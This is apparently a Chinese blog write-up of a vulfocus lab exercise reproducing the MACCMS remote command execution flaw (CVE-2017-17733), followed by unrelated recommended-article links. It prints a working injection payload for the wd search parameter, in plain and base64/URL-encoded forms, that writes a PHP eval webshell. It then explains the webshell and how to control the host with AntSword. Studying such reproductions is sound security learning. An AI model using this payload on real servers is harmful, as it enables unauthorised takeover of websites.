MACCMS 远程命令执行漏洞复现(CVE-2017-17733)

目录

漏洞介绍

工具使用

环境搭建&复现过程


这是我复现的第一个漏洞(老天奶),有必要做一个详细的writeup。

漏洞介绍

MACCMS是一套采用PHP/MySQL数据库运行的全新且完善的强大视频电影系统。完美支持众多视频网站和高清播放器(youku,tudou,qvod,gvod等),完全免费开源。该漏洞主要的产生原因是CMS搜索页面搜索参数过滤不严导致直接eval执行PHP语句----(一句话木马)。(上面这段概述引自vulfocus哈)


工具使用

火狐浏览器(带有hackbar插件)

中国蚁剑(连接后门)


环境搭建&复现过程

咱们用在线靶场vulfocus(https://vulfocus.cn/)来搭建漏洞环境:

找到maccms远程命令执行漏洞并开启环境,进入到给出的ip:port地址,(每个人每次开启地址都不一样),我这里的是:123.58.224.8:27465

访问该地址:

可以看到我们进入一个看似正常的视频网站,当我们使用搜索功能时候,会发现URL地址栏中会多出一个++++index.php?m=vod-search++++

使用bp抓包会发现我们提交的搜索数据是以wd参数,(我电脑上的bp现在有点小问题不能演示)post方式提交到后台的,那么我们便可以在wd中精心构造一句话木马,上传到目标服务器中,在这里我们使用的是火狐浏览器中的HackBar插件(这个得自行下载)来进行post数据包的提交(当然用bp也是可以的)

该payload为:

wd={if-A:print(fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POSTc); ?>1)))}{endif-A}

该payload大概意为创建一个c.php文件,并写入一句话木马

<?php @eval($_POSTc); ?>

以及字符"1"

因为目前正在学upload-lab,所以对webshell稍作解释:

<?php?> 就是php标识,有了这个服务器才会把里面的内容当php解析。

@ 作用是,即使后面出现错误也不会报错,否则报错信息被目标主机看到,我们的渗透就失败了。(该错误是$_POSTc中的变量c没有定义直接使用)

eval 意为把后面的所有内容都当作代码来执行。

$_POSTc 意为以post方式来接受变量c的值。

并且为了防止过滤,我们将敏感字符转化为base64编码,上传到目标服务器后,再让服务器base64_decode解析加密内容,就可以成功上传webshell,从而控制目标站点。

加密后的密文:(也就是最终在HackBar中输入的数据)

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

除一句话木马之外,还有一个字符"1",当我们上传payload并访问c.php文件时,前面的php当作代码执行,剩下1输出到网页中,所以如果我们能看到字符1,那就说明上传成功,接下来用蚁剑连接即可。

打开中国蚁剑(第一次用得初始化)右键添加数据:

输入URL和连接密码c即可控制对方主机

在/tmp目录下找到flag,漏洞复现完成

flag-{bmhd0da328b-51c7-489e-93e9-44aeb0a2cb0a}

欢迎大家批评指正!

相关推荐
千寻xun15 小时前
一、理论篇-NVME协议学习笔记
笔记·学习·fpga开发·nvme ssd·nvme协议
researcher-Jiang15 小时前
高性能计算之OpenMP——超算习堂学习1
android·java·学习
xixixi7777717 小时前
三大 AI 安全里程碑:Akamai 高危风险预警、智能体水印强制落地、PQC 量子安全全产业链统一
大数据·人工智能·安全·ai·大模型·智能体·政策
hz5678919 小时前
电子远程评标系统哪家好?安全、合规、易用平台评测指南
安全·云计算·音视频·实时音视频·信息与通信
MartinYeung520 小时前
[论文学习]大语言模型安全综述:攻击、防御、对齐、度量与护栏的深度解析
学习·安全·语言模型
AOwhisky21 小时前
Python 学习笔记(第三期)——流程控制:条件判断与循环结构
运维·笔记·python·学习·云原生·流程控制·循环
心中有国也有家21 小时前
AtomGit Flutter 鸿蒙客户端:白噪音场景的视觉设计
学习·flutter·华为·harmonyos
心中有国也有家21 小时前
AtomGit Flutter 鸿蒙客户端:呼吸练习的完整生命周期
学习·flutter·华为·harmonyos
Zeeland21 小时前
构建护城河:自学习 Agent
学习
尼米棕熊21 小时前
大模型学习8上-推理部署框架llama.cpp与Ollama使用指北
学习·llama